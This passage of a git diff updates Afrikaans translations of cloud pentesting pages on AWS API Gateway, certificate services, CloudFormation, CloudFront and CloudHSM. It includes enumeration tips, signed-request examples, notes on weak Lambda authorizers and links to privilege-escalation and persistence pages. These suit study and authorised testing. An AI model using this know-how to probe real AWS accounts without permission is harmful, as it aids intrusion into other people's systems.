is 'n JSON-dokument wat **die toestemmings vir toegang tot jou API definieer**. Dit is soortgelyk aan 'n IAM-beleid, maar spesifiek aangepas vir API Gateway. Jy kan 'n hulpbronbeleid gebruik om te beheer wie jou API kan toegang, watter metodes hulle kan aanroep, en vanaf watter IP adresse of VPC's hulle kan aansluit. **Hulpbronbeleide kan in kombinasie met outoriseerders gebruik word** om fyngegradeerde toegangbeheer vir jou API te bied. +3. **Outoriseerders**: Outoriseerders in API Gateway is verantwoordelik vir **die beheer van toegang tot jou API** deur die identiteit van die oproeper te verifieer voordat die versoek voortgaan. Jy kan **AWS Lambda funksies** as pasgemaakte outoriseerders gebruik, wat jou toelaat om jou eie outentikasie en outorisasie logika te implementeer. Wanneer 'n versoek inkom, stuur API Gateway die versoek se outorisasie token na die Lambda outoriseerder, wat die token verwerk en 'n IAM-beleid teruggee wat bepaal watter aksies die oproeper mag uitvoer. API Gateway ondersteun ook **ingeboude outoriseerders**, soos **AWS Identiteit en Toegang Bestuur (IAM)** en **Amazon Cognito**. +4. **Hulpbronbeleid**: 'n Hulpbronbeleid in API Gateway is 'n JSON-dokument wat **die toestemmings vir die toegang tot jou API definieer**. Dit is soortgelyk aan 'n IAM-beleid, maar spesifiek aangepas vir API Gateway. Jy kan 'n hulpbronbeleid gebruik om te beheer wie jou API kan toegang, watter metodes hulle kan aanroep, en vanaf watter IP adresse of VPC's hulle kan aansluit. **Hulpbronbeleide kan in kombinasie met outoriseerders gebruik word** om fyn-gegradeerde toegangbeheer vir jou API te bied. - Om effektief te wees, moet die API **weer ontplooi word nadat** die hulpbronbeleid gewysig is. ### Logging -Standaard is **CloudWatch Logs** **af**, **Toegang Logging** is **af**, en **X-Ray opsporing** is ook **af**. +Standaard is **CloudWatch Logs** **af**, **Toegang Logging** is **af**, en **X-Ray tracing** is ook **af**. ### Enumerasie > [!TIP] -> Let daarop dat in beide AWS API's om hulpbronne te enumereer (**`apigateway`** en **`apigatewayv2`**) die enigste toestemming wat jy nodig het en die enigste lees toestemming wat gegee kan word is **`apigateway:GET`**, met dit kan jy **alles enumereer.** +> Let daarop dat in beide AWS API's om hulpbronne te enumereer (**`apigateway`** en **`apigatewayv2`**) die enigste toestemming wat jy nodig het en die enigste lees toestemming wat toegeken kan word, is **`apigateway:GET`**, met dit kan jy **alles enumereer.** {{#tabs }} {{#tab name="apigateway" }} @@ -124,12 +124,12 @@ https://.execute-api..amazonaws.com// {{#endtab }} {{#endtabs }} -## Verskillende Owerhede om toegang tot API Gateway eindpunte te verkry +## Verskillende Owerhede om toegang te verkry tot API Gateway eindpunte ### Hulpbronbeleid Dit is moontlik om hulpbronbeleide te gebruik om te definieer wie die API eindpunte kan bel.\ -In die volgende voorbeeld kan jy sien dat die **aangegeven IP nie kan bel nie** die eindpunt `/resource_policy` via GET. +In die volgende voorbeeld kan jy sien dat die **aangegeven IP nie kan bel** na die eindpunt `/resource_policy` via GET nie.
@@ -145,7 +145,7 @@ Een maklike manier om die verwagte token deur die toepassing te genereer, is om ```bash $ curl -X https://.execute-api..amazonaws.com// --user : --aws-sigv4 "aws:amz::execute-api" ``` -Nog 'n manier is om die **`Authorization`** tipe **`AWS Signature`** binne **Postman** te gebruik. +'n Ander manier is om die **`Authorization`** tipe **`AWS Signature`** binne **Postman** te gebruik.
@@ -155,7 +155,7 @@ Albei metodes sal 'n **Authorization** **header** genereer soos: ``` AWS4-HMAC-SHA256 Credential=AKIAYY7XU6ECUDOTWB7W/20220726/us-east-1/execute-api/aws4_request, SignedHeaders=host;x-amz-date, Signature=9f35579fa85c0d089c5a939e3d711362e92641e8c14cc571df8c71b4bc62a5c2 ``` -Let op dat in ander gevalle die **Authorizer** dalk **sleg gekodeer** is en net **enigiets** binne die **Authorization header** sal **toelaat om die versteekte inhoud** te sien. +Let op dat in ander gevalle die **Authorizer** dalk **sleg gekodeer** is en net **enigiets** binne die **Authorization header** sal **toelaat om die versteekte inhoud te sien**. ### Versoekondertekening met Python ```python @@ -184,14 +184,14 @@ response = requests.get(url, auth=awsauth) print(response.text) ``` -### Custom Lambda Authorizer +### Pasgemaakte Lambda Outeur Dit is moontlik om 'n lambda te gebruik wat op 'n gegewe token gebaseer is en **'n IAM-beleid** sal **teruggee wat aandui of die gebruiker **gemagtig is om die API-eindpunt** aan te roep.\ Jy kan elke hulpbronmetode instel wat die outeur gaan gebruik.
-Lambda Authorizer Code Example +Lambda Outeur Kode Voorbeeld ```python import json @@ -242,21 +242,21 @@ Noem dit met iets soos:
> [!WARNING] -> Afhangende van die Lambda-kode, mag hierdie toestemming kwesbaar wees +> Afhangende van die Lambda-kode, mag hierdie autorisasie kwesbaar wees -Let daarop dat as 'n **weieringsbeleid gegenereer en teruggestuur word**, die fout wat deur API Gateway teruggestuur word is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` +Let daarop dat as 'n **weierbeleid gegenereer en teruggestuur word**, die fout wat deur API Gateway teruggestuur word is: `{"Message":"User is not authorized to access this resource with an explicit deny"}` -Op hierdie manier kan jy **identifiseer dat hierdie toestemming** in plek is. +Op hierdie manier kan jy **identifiseer dat hierdie autorisasie** in plek is. ### Vereiste API Sleutel -Dit is moontlik om API-eindpunte in te stel wat **'n geldige API-sleutel vereis** om dit te kontak. +Dit is moontlik om API eindpunte in te stel wat **'n geldige API-sleutel vereis** om dit te kontak.
Dit is moontlik om API-sleutels in die API Gateway-portaal te genereer en selfs in te stel hoeveel dit gebruik kan word (in terme van versoeke per sekonde en in terme van versoeke per maand). -Om 'n API-sleutel te laat werk, moet jy dit by 'n **Gebruik Plan** voeg, hierdie gebruiksplan moet by die **API Stadium** gevoeg word en die geassosieerde API-stadium moet 'n **metode-beperking** geconfigureer hê vir die **eindpunt** wat die API-sleutel vereis: +Om 'n API-sleutel te laat werk, moet jy dit by 'n **Gebruik Plan** voeg, hierdie gebruiksplan moet by die **API Stadium** gevoeg word en die geassosieerde API-stadium moet 'n **metode throttling** geconfigureer hê na die **eindpunt** wat die API-sleutel vereis:
@@ -272,13 +272,13 @@ Om 'n API-sleutel te laat werk, moet jy dit by 'n **Gebruik Plan** voeg, hierdie ../aws-privilege-escalation/aws-apigateway-privesc.md {{#endref}} -## Post Exploitatie +## Post Exploitation {{#ref}} ../aws-post-exploitation/aws-api-gateway-post-exploitation.md {{#endref}} -## Volharding +## Persistensie {{#ref}} ../aws-persistence/aws-api-gateway-persistence.md diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md index 7264b65ae..27bb16c87 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-certificate-manager-acm-and-private-certificate-authority-pca.md @@ -1,14 +1,14 @@ -# AWS - Certificate Manager (ACM) & Private Certificate Authority (PCA) +# AWS - Sertifikaatbestuurder (ACM) & Privaat Sertifikaatowerheid (PCA) {{#include ../../../banners/hacktricks-training.md}} ## Basiese Inligting -**AWS Certificate Manager (ACM)** word aangebied as 'n diens wat daarop gemik is om die **verskaffing, bestuur en implementering van SSL/TLS sertifikate** vir AWS dienste en interne hulpbronne te vereenvoudig. Die noodsaaklikheid vir handmatige prosesse, soos die aankoop, opgelaai, en sertifikaat hernuwing, word **verwyder** deur ACM. Dit stel gebruikers in staat om doeltreffend sertifikate aan te vra en te implementeer op verskeie AWS hulpbronne, insluitend **Elastic Load Balancers, Amazon CloudFront verspreidings, en API's op API Gateway**. +**AWS Sertifikaatbestuurder (ACM)** word aangebied as 'n diens wat daarop gemik is om die **verskaffing, bestuur en implementering van SSL/TLS sertifikate** vir AWS dienste en interne hulpbronne te vereenvoudig. Die noodsaaklikheid vir handmatige prosesse, soos die aankoop, opgelaai en sertifikaat hernuwing, word **verwyder** deur ACM. Dit stel gebruikers in staat om doeltreffend sertifikate aan te vra en te implementeer op verskeie AWS hulpbronne, insluitend **Elastiese Laaibalansers, Amazon CloudFront verspreidings, en API's op API Gateway**. -'n Sleutelkenmerk van ACM is die **outomatiese hernuwing van sertifikate**, wat die bestuurslas aansienlik verminder. Verder ondersteun ACM die skepping en gesentraliseerde bestuur van **privaat sertifikate vir interne gebruik**. Alhoewel SSL/TLS sertifikate vir geïntegreerde AWS dienste soos Elastic Load Balancing, Amazon CloudFront, en Amazon API Gateway gratis deur ACM aangebied word, is gebruikers verantwoordelik vir die koste verbonde aan die AWS hulpbronne wat deur hul toepassings gebruik word en 'n maandelikse fooi vir elke **privaat Certificate Authority (CA)** en private sertifikate wat buite geïntegreerde ACM dienste gebruik word. +'n Sleutelkenmerk van ACM is die **outomatiese hernuwing van sertifikate**, wat die bestuurslas aansienlik verminder. Verder ondersteun ACM die skepping en gesentraliseerde bestuur van **privaat sertifikate vir interne gebruik**. Alhoewel SSL/TLS sertifikate vir geïntegreerde AWS dienste soos Elastiese Laaibalans, Amazon CloudFront, en Amazon API Gateway sonder ekstra koste deur ACM aangebied word, is gebruikers verantwoordelik vir die koste verbonde aan die AWS hulpbronne wat deur hul toepassings gebruik word en 'n maandelikse fooi vir elke **privaat Sertifikaatowerheid (CA)** en private sertifikate wat buite geïntegreerde ACM dienste gebruik word. -**AWS Private Certificate Authority** word aangebied as 'n **bestuurde private CA diens**, wat ACM se vermoëns verbeter deur sertifikaatbestuur uit te brei om privaat sertifikate in te sluit. Hierdie private sertifikate is noodsaaklik vir die autentisering van hulpbronne binne 'n organisasie. +**AWS Privaat Sertifikaatowerheid** word aangebied as 'n **bestuurde privaat CA diens**, wat ACM se vermoëns verbeter deur sertifikaatbestuur uit te brei om privaat sertifikate in te sluit. Hierdie privaat sertifikate is noodsaaklik vir die autentisering van hulpbronne binne 'n organisasie. ## Enumerasie diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md index baf41d0c6..c2af64aee 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudformation-and-codestar-enum.md @@ -4,7 +4,7 @@ ## CloudFormation -AWS CloudFormation is 'n diens wat ontwerp is om die **bestuur van AWS hulpbronne te vereenvoudig**. Dit stel gebruikers in staat om meer op hul toepassings wat in AWS loop te fokus deur **die tyd wat aan hulpbronbestuur bestee word te minimaliseer**. Die kernkenmerk van hierdie diens is die **sjabloon**—'n beskrywende model van die gewenste AWS hulpbronne. Sodra hierdie sjabloon verskaf is, is CloudFormation verantwoordelik vir die **verskaffing en konfigurasie** van die gespesifiseerde hulpbronne. Hierdie outomatisering fasiliteer 'n meer doeltreffende en foutvrye bestuur van AWS infrastruktuur. +AWS CloudFormation is 'n diens wat ontwerp is om die **bestuur van AWS hulpbronne te vereenvoudig**. Dit stel gebruikers in staat om meer op hul toepassings wat in AWS loop te fokus deur **die tyd wat aan hulpbronbestuur bestee word te minimaliseer**. Die kernkenmerk van hierdie diens is die **sjabloon**—'n beskrywende model van die verlangde AWS hulpbronne. Sodra hierdie sjabloon verskaf is, is CloudFormation verantwoordelik vir die **verskaffing en konfigurasie** van die gespesifiseerde hulpbronne. Hierdie outomatisering fasiliteer 'n meer doeltreffende en foutvrye bestuur van AWS infrastruktuur. ### Enumeration ```bash @@ -43,7 +43,7 @@ Kyk vir **geheime** of sensitiewe inligting in die **sjabloon, parameters & uitv ## Codestar -AWS CodeStar is 'n diens vir die skep, bestuur en werk met sagteware-ontwikkelingsprojekte op AWS. Jy kan vinnig toepassings ontwikkel, bou en ontplooi op AWS met 'n AWS CodeStar-projek. 'n AWS CodeStar-projek skep en **integreer AWS-dienste** vir jou projekontwikkelingshulpmiddelketting. Afhangende van jou keuse van AWS CodeStar-projeksjabloon, kan daardie hulpmiddelketting bronbeheer, bou, ontplooiing, virtuele bedieners of serverlose hulpbronne, en meer insluit. AWS CodeStar **bestuur ook die toestemmings wat benodig word vir projekgebruikers** (genoem spanlede). +AWS CodeStar is 'n diens vir die skep, bestuur en werk met sagteware-ontwikkelingsprojekte op AWS. Jy kan vinnig toepassings ontwikkel, bou en ontplooi op AWS met 'n AWS CodeStar-projek. 'n AWS CodeStar-projek skep en **integreer AWS-dienste** vir jou projekontwikkelingsgereedskap. Afhangende van jou keuse van AWS CodeStar-projek sjabloon, kan daardie gereedskapbron bronbeheer, bou, ontplooi, virtuele bedieners of serverlose hulpbronne, en meer insluit. AWS CodeStar **bestuur ook die toestemmings wat benodig word vir projekgebruikers** (genoem spanlede). ### Enumeration ```bash @@ -64,7 +64,7 @@ In die volgende bladsy kan jy kyk hoe om **codestar-toestemmings te misbruik om ../aws-privilege-escalation/aws-codestar-privesc/ {{#endref}} -## References +## Verwysings - [https://docs.aws.amazon.com/cloudformation/](https://docs.aws.amazon.com/cloudformation/) diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md index d166d2439..9c25f6e4a 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudfront-enum.md @@ -4,17 +4,17 @@ ## CloudFront -CloudFront is AWS se **inhoudsverspreidingsnetwerk wat die verspreiding** van jou statiese en dinamiese inhoud deur sy wêreldwye netwerk van randlokasies versnel. Wanneer jy 'n versoek inhoud gebruik wat jy deur Amazon CloudFront huisves, word die versoek na die naaste randlokasie gerouteer wat die laagste latensie bied om die beste prestasie te lewer. Wanneer **CloudFront-toeganglogs** geaktiveer is, kan jy die versoek van elke gebruiker wat toegang tot jou webwerf en verspreiding versoek, opneem. Soos met S3-toeganglogs, word hierdie logs ook **op Amazon S3 gestoor vir duursame en volgehoue berging**. Daar is geen koste verbonde aan die aktivering van logging self nie, egter, aangesien die logs in S3 gestoor word, sal jy koste hê vir die berging wat deur S3 gebruik word. +CloudFront is AWS se **inhoudsverspreidingsnetwerk wat die verspreiding versnel** van jou statiese en dinamiese inhoud deur sy wêreldwye netwerk van randliggings. Wanneer jy 'n versoek inhoud gebruik wat jy deur Amazon CloudFront huisves, word die versoek na die naaste randligging gerouteer wat die laagste latensie bied om die beste prestasie te lewer. Wanneer **CloudFront-toeganglogs** geaktiveer is, kan jy die versoek van elke gebruiker wat toegang tot jou webwerf en verspreiding versoek, opneem. Soos met S3-toeganglogs, word hierdie logs ook **op Amazon S3 gestoor vir duursame en volgehoue berging**. Daar is geen koste verbonde aan die aktivering van logging self nie, egter, aangesien die logs in S3 gestoor word, sal jy koste hê vir die berging wat deur S3 gebruik word. -Die loglêers vang data oor 'n tydperk en afhangende van die hoeveelheid versoeke wat deur Amazon CloudFront vir daardie verspreiding ontvang word, sal dit afhang van die hoeveelheid loglêers wat gegenereer word. Dit is belangrik om te weet dat hierdie loglêers nie op S3 geskep of geskryf word nie. S3 is bloot waar hulle afgelewer word sodra die loglêer vol is. **Amazon CloudFront hou hierdie logs totdat hulle gereed is om aan S3 afgelewer te word**. Weer, afhangende van die grootte van hierdie loglêers kan hierdie aflewering **tussen een en 24 uur** neem. +Die loglêers vang data oor 'n tydperk op en afhangende van die aantal versoeke wat deur Amazon CloudFront vir daardie verspreiding ontvang word, sal dit die aantal loglêers wat gegenereer word, bepaal. Dit is belangrik om te weet dat hierdie loglêers nie op S3 geskep of geskryf word nie. S3 is bloot waar hulle afgelewer word sodra die loglêer vol is. **Amazon CloudFront hou hierdie logs totdat hulle gereed is om aan S3 afgelewer te word**. Weer, afhangende van die grootte van hierdie loglêers kan hierdie aflewering **tussen een en 24 uur** neem. -**Standaard is koekielogging gedeaktiveer** maar jy kan dit aktiveer. +**Standaard is koekie-logging gedeaktiveer** maar jy kan dit aktiveer. -### Functions +### Funksies Jy kan funksies in CloudFront skep. Hierdie funksies sal sy **eindpunt in cloudfront** gedefinieer hê en sal 'n verklaarde **NodeJS-kode** uitvoer. Hierdie kode sal binne 'n **sandbox** op 'n masjien wat onder 'n AWS bestuurde masjien loop, uitgevoer word (jy sal 'n sandbox-bypass nodig hê om te kan ontsnap na die onderliggende OS). -Aangesien die funksies nie in die gebruikers se AWS-rekening uitgevoer word nie, is daar geen IAM-rol aangeheg nie, so geen direkte privesc is moontlik deur hierdie kenmerk te misbruik nie. +Aangesien die funksies nie in die gebruikers se AWS-rekening uitgevoer word nie, is daar geen IAM-rol aangeheg nie, so geen direkte privesc is moontlik deur hierdie funksie te misbruik nie. ### Enumeration ```bash diff --git a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md index f715ce723..66f9bd8ad 100644 --- a/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md +++ b/src/pentesting-cloud/aws-security/aws-services/aws-cloudhsm-enum.md @@ -4,47 +4,47 @@ ## HSM - Hardware Security Module -Cloud HSM is 'n FIPS 140 vlak twee gevalideerde **hardeware toestel** vir veilige kriptografiese sleutelberging (let daarop dat CloudHSM 'n hardeware toestel is, dit is nie 'n gevirtualiseerde diens nie). Dit is 'n SafeNetLuna 7000 toestel met 5.3.13 vooraf gelaai. Daar is twee firmware weergawes en watter een jy kies, hang regtig af van jou presiese behoeftes. Een is vir FIPS 140-2 nakoming en daar was 'n nuwer weergawe wat gebruik kan word. +Cloud HSM is 'n FIPS 140 vlak twee geverifieerde **hardeware toestel** vir veilige kriptografiese sleutelberging (let daarop dat CloudHSM 'n hardeware toestel is, dit is nie 'n gevirtualiseerde diens nie). Dit is 'n SafeNetLuna 7000 toestel met 5.3.13 vooraf gelaai. Daar is twee firmware weergawes en watter een jy kies, hang regtig af van jou presiese behoeftes. Een is vir FIPS 140-2 nakoming en daar was 'n nuwer weergawe wat gebruik kan word. -Die ongewone kenmerk van CloudHSM is dat dit 'n fisiese toestel is, en dus is dit **nie gedeel met ander kliënte nie**, of soos dit algemeen genoem word, multi-tenant. Dit is 'n toegewyde enkel-tenant toestel wat eksklusief beskikbaar gestel word vir jou werklading. +Die ongewone kenmerk van CloudHSM is dat dit 'n fisiese toestel is, en dus is dit **nie gedeel met ander kliënte nie**, of soos dit algemeen genoem word, multi-tenant. Dit is 'n toegewyde enkel-tenant toestel wat eksklusief beskikbaar gestel word vir jou werklas. -Tipies is 'n toestel binne 15 minute beskikbaar, mits daar kapasiteit is, maar in sommige sones mag dit nie wees nie. +Tipies is 'n toestel binne 15 minute beskikbaar, mits daar kapasiteit is, maar in sommige sones mag daar nie wees nie. -Aangesien dit 'n fisiese toestel is wat aan jou toegewy is, **word die sleutels op die toestel gestoor**. Sleutels moet of **na 'n ander toestel gerepliceer word**, geback-up word na offline berging, of uitgevoer word na 'n standby toestel. **Hierdie toestel is nie ondersteun** deur S3 of enige ander diens by AWS soos KMS nie. +Aangesien dit 'n fisiese toestel is wat aan jou toegewy is, **word die sleutels op die toestel gestoor**. Sleutels moet of **na 'n ander toestel gerepliseer word**, geback-up word na offline berging, of uitgevoer word na 'n standby toestel. **Hierdie toestel is nie geback** deur S3 of enige ander diens by AWS soos KMS nie. In **CloudHSM** moet jy **die diens self skaal**. Jy moet genoeg CloudHSM toestelle voorsien om te hanteer wat jou versleuteling behoeftes is gebaseer op die versleuteling algoritmes wat jy gekies het om te implementeer vir jou oplossing.\ -Sleutelbestuurdiens skaal deur AWS en skaal outomaties op aanvraag, so soos jou gebruik groei, kan die aantal CloudHSM toestelle wat benodig word ook groei. Hou dit in gedagte terwyl jy jou oplossing skaal en as jou oplossing outo-skaal, maak seker jou maksimum skaal is in ag geneem met genoeg CloudHSM toestelle om die oplossing te bedien. +Sleutelbestuurdiens skaal deur AWS en skaal outomaties op aanvraag, so soos jou gebruik groei, kan die aantal CloudHSM toestelle wat benodig word ook groei. Hou dit in gedagte terwyl jy jou oplossing skaal en as jou oplossing outo-skaal het, maak seker dat jou maksimum skaal rekening hou met genoeg CloudHSM toestelle om die oplossing te dien. -Net soos met skaal, **is prestasie aan jou met CloudHSM**. Prestasie wissel gebaseer op watter versleuteling algoritme gebruik word en hoe gereeld jy toegang moet verkry of die sleutels moet onttrek om die data te versleuteling. Sleutelbestuurdiens prestasie word deur Amazon hanteer en skaal outomaties soos die vraag dit vereis. CloudHSM se prestasie word bereik deur meer toestelle by te voeg en as jy meer prestasie benodig, voeg jy of toestelle by of verander die versleuteling metode na die algoritme wat vinniger is. +Net soos met skaal, **is prestasie aan jou met CloudHSM**. Prestasie wissel gebaseer op watter versleuteling algoritme gebruik word en hoe gereeld jy toegang moet verkry of die sleutels moet onttrek om die data te versleutel. Sleutelbestuurdiens prestasie word deur Amazon hanteer en skaal outomaties soos die vraag dit vereis. CloudHSM se prestasie word bereik deur meer toestelle by te voeg en as jy meer prestasie benodig, voeg jy of toestelle by of verander die versleuteling metode na die algoritme wat vinniger is. As jou oplossing **multi-streek** is, moet jy verskeie **CloudHSM toestelle in die tweede streek byvoeg en die kruis-streek konnektiwiteit uitwerk met 'n private VPN-verbinding** of 'n metode om te verseker dat die verkeer altyd beskerm is tussen die toestel op elke laag van die verbinding. As jy 'n multi-streek oplossing het, moet jy dink oor hoe om **sleutels te repliseer en addisionele CloudHSM toestelle op te stel in die streke waar jy werk**. Jy kan baie vinnig in 'n scenario beland waar jy ses of agt toestelle oor verskeie streke versprei het, wat volle redundans van jou versleuteling sleutels moontlik maak. -**CloudHSM** is 'n ondernemingsklas diens vir beveiligde sleutelberging en kan gebruik word as 'n **wortel van vertroue vir 'n onderneming**. Dit kan private sleutels in PKI en sertifikaatowerheid sleutels in X509 implementasies stoor. Benewens simmetriese sleutels wat in simmetriese algoritmes soos AES gebruik word, **stoor KMS en fisies beskerm slegs simmetriese sleutels (kan nie as 'n sertifikaatowerheid optree nie)**, so as jy PKI en CA sleutels moet stoor, kan 'n CloudHSM of twee of drie jou oplossing wees. +**CloudHSM** is 'n ondernemingsklas diens vir beveiligde sleutelberging en kan gebruik word as 'n **wortel van vertroue vir 'n onderneming**. Dit kan private sleutels in PKI en sertifikaatowerheid sleutels in X509 implementasies stoor. Benewens simmetriese sleutels wat in simmetriese algoritmes soos AES gebruik word, **stoor KMS en beskerm fisies slegs simmetriese sleutels (kan nie as 'n sertifikaatowerheid optree nie)**, so as jy PKI en CA sleutels moet stoor, kan 'n CloudHSM of twee of drie jou oplossing wees. -**CloudHSM is aansienlik duurder as Sleutelbestuurdiens**. CloudHSM is 'n hardeware toestel, so jy het vaste koste om die CloudHSM toestel te voorsien, dan is daar 'n uurlikse koste om die toestel te laat loop. Die koste word vermenigvuldig met soveel CloudHSM toestelle wat benodig word om jou spesifieke vereistes te bereik.\ -Boonop moet kruis oorweging gemaak word in die aankoop van derdeparty sagteware soos SafeNet ProtectV sagteware suites en integrasietyd en -poging. Sleutelbestuurdiens is 'n gebruik gebaseerde diens en hang af van die aantal sleutels wat jy het en die invoer- en uitvoerbedrywighede. Aangesien sleutelbestuur naatlose integrasie met baie AWS dienste bied, moet integrasiekoste aansienlik laer wees. Koste moet as 'n sekondêre faktor in versleuteling oplossings beskou word. Versleuteling word tipies gebruik vir sekuriteit en nakoming. +**CloudHSM is aansienlik duurder as Sleutelbestuurdiens**. CloudHSM is 'n hardeware toestel, so jy het vaste koste om die CloudHSM toestel te voorsien, dan is daar 'n uurlikse koste om die toestel te laat loop. Die koste word vermenigvuldig met soveel CloudHSM toestelle as wat benodig word om jou spesifieke vereistes te bereik.\ +Boonop moet kruis oorweging gemaak word in die aankoop van derdeparty sagteware soos SafeNet ProtectV sagteware suites en integrasietyd en -poging. Sleutelbestuurdiens is 'n gebruiksgebaseerde diens en hang af van die aantal sleutels wat jy het en die invoer- en uitvoerbedrywighede. Aangesien sleutelbestuur naatlose integrasie met baie AWS dienste bied, moet integrasiekoste aansienlik laer wees. Koste moet as 'n sekondêre faktor in versleuteling oplossings beskou word. Versleuteling word tipies gebruik vir sekuriteit en nakoming. -**Met CloudHSM het net jy toegang tot die sleutels** en sonder om in te veel detail te gaan, met CloudHSM bestuur jy jou eie sleutels. **Met KMS bestuur jy en Amazon jou sleutels saam**. AWS het baie beleidsbeskermings teen misbruik en **kan steeds nie jou sleutels in enige oplossing toegang nie**. Die hoofonderskeid is nakoming soos dit betrekking het op sleutelbesit en bestuur, en met CloudHSM, is dit 'n hardeware toestel wat jy bestuur en onderhou met eksklusiewe toegang tot jou en net jou. +**Met CloudHSM het net jy toegang tot die sleutels** en sonder om in te veel detail te gaan, met CloudHSM bestuur jy jou eie sleutels. **Met KMS, bestuur jy en Amazon jou sleutels saam**. AWS het baie beleidsbeskermings teen misbruik en **kan steeds nie jou sleutels in enige oplossing toegang nie**. Die hoofonderskeid is nakoming soos dit betrekking het op sleutelbesit en bestuur, en met CloudHSM, is dit 'n hardeware toestel wat jy bestuur en onderhou met eksklusiewe toegang tot jou en net jou. ### CloudHSM Voorstelle 1. Ontplooi altyd CloudHSM in 'n **HA-opstelling** met ten minste twee toestelle in **verskillende beskikbaarheids sones**, en indien moontlik, ontplooi 'n derde of op die perseel of in 'n ander streek by AWS. -2. Wees versigtig wanneer jy 'n **CloudHSM** **initieer**. Hierdie aksie **sal die sleutels vernietig**, so of jy moet 'n ander kopie van die sleutels hê of absoluut seker wees dat jy nie en nooit, ooit hierdie sleutels sal benodig om enige data te ontsleutel nie. -3. CloudHSM ondersteun slegs **sekere weergawes van firmware** en sagteware. Voordat jy enige opdatering uitvoer, maak seker dat die firmware en of sagteware deur AWS ondersteun word. Jy kan altyd AWS ondersteuning kontak om te verifieer of die opgraderingsgids onduidelik is. +2. Wees versigtig wanneer jy **'n CloudHSM** **initieer**. Hierdie aksie **sal die sleutels vernietig**, so of jy moet 'n ander kopie van die sleutels hê of absoluut seker wees dat jy nie en nooit, ooit hierdie sleutels sal benodig om enige data te ontsleutel nie. +3. CloudHSM ondersteun slegs **sekere weergawes van firmware** en sagteware. Voordat jy enige opdatering uitvoer, maak seker dat die firmware en of sagteware deur AWS ondersteun word. Jy kan altyd AWS ondersteuning kontak om te verifieer of die opgradering gids onduidelik is. 4. Die **netwerk konfigurasie mag nooit verander word nie.** Onthou, dit is in 'n AWS datacentrum en AWS monitor basishardeware vir jou. Dit beteken dat as die hardeware faal, hulle dit vir jou sal vervang, maar net as hulle weet dit het gefaal. 5. Die **SysLog voortgang mag nie verwyder of verander word nie**. Jy kan altyd 'n SysLog voortgangsverskaffer **byvoeg** om die logs na jou eie versamelingsinstrument te rig. -6. Die **SNMP** konfigurasie het dieselfde basiese beperkings as die netwerk en SysLog vouer. Dit **mag nie verander of verwyder word nie**. 'n **Addisionele** SNMP konfigurasie is reg, maak net seker jy verander nie die een wat reeds op die toestel is nie. -7. Nog 'n interessante beste praktyk van AWS is **om nie die NTP konfigurasie te verander nie**. Dit is nie duidelik wat sou gebeur as jy dit doen nie, so hou in gedagte dat as jy nie dieselfde NTP konfigurasie vir die res van jou oplossing gebruik nie, jy dalk twee tydbronne kan hê. Wees net bewus hiervan en weet dat die CloudHSM by die bestaande NTP bron moet bly. +6. Die **SNMP** konfigurasie het dieselfde basiese beperkings as die netwerk en SysLog gids. Dit **mag nie verander of verwyder word nie**. 'n **Addisionele** SNMP konfigurasie is reg, maak net seker jy verander nie die een wat reeds op die toestel is nie. +7. Nog 'n interessante beste praktyk van AWS is **om nie die NTP konfigurasie te verander nie**. Dit is nie duidelik wat sou gebeur as jy dit doen nie, so hou in gedagte dat as jy nie dieselfde NTP konfigurasie vir die res van jou oplossing gebruik nie, dan kan jy twee tydbronne hê. Wees net bewus hiervan en weet dat die CloudHSM by die bestaande NTP bron moet bly. Die aanvanklike bekendstellingskoste vir CloudHSM is $5,000 om die hardeware toestel wat aan jou gebruik toegewy is, toe te ken, dan is daar 'n uurlikse koste verbonde aan die werking van CloudHSM wat tans $1.88 per uur van werking is, of ongeveer $1,373 per maand. -Die mees algemene rede om CloudHSM te gebruik, is nakomingsstandaarde wat jy moet nakom vir regulerende redes. **KMS bied nie datasteun vir asimmetriese sleutels aan nie. CloudHSM laat jou toe om asimmetriese sleutels veilig te stoor**. +Die mees algemene rede om CloudHSM te gebruik, is nakomingsstandaarde wat jy moet nakom vir regulerende redes. **KMS bied nie datasteun vir asimmetriese sleutels nie. CloudHSM laat jou toe om asimmetriese sleutels veilig te stoor**. Die **publieke sleutel word op die HSM toestel tydens voorsiening geïnstalleer** sodat jy toegang tot die CloudHSM instansie via SSH kan verkry. ### Wat is 'n Hardware Security Module -'n Hardware security module (HSM) is 'n toegewyde kriptografiese toestel wat gebruik word om kriptografiese sleutels te genereer, te stoor en te bestuur en sensitiewe data te beskerm. Dit is ontwerp om 'n hoë vlak van sekuriteit te bied deur die kriptografiese funksies fisies en elektronies van die res van die stelsel te isoleer. +'n Hardware beveiligingsmodule (HSM) is 'n toegewyde kriptografiese toestel wat gebruik word om kriptografiese sleutels te genereer, te stoor en te bestuur en sensitiewe data te beskerm. Dit is ontwerp om 'n hoë vlak van sekuriteit te bied deur die kriptografiese funksies fisies en elektronies van die res van die stelsel te isoleer. Die manier waarop 'n HSM werk, kan wissel afhangende van die spesifieke model en vervaardiger, maar oor die algemeen vind die volgende stappe plaas: @@ -52,13 +52,13 @@ Die manier waarop 'n HSM werk, kan wissel afhangende van die spesifieke model en 2. **Sleutelberging**: Die sleutel word **veilig binne die HSM gestoor, waar dit slegs deur gemagtigde gebruikers of prosesse toegang kan verkry**. 3. **Sleutelbestuur**: Die HSM bied 'n reeks sleutelbestuur funksies, insluitend sleutelrotasie, rugsteun en herroeping. 4. **Kriptografiese bedrywighede**: Die HSM voer 'n reeks kriptografiese bedrywighede 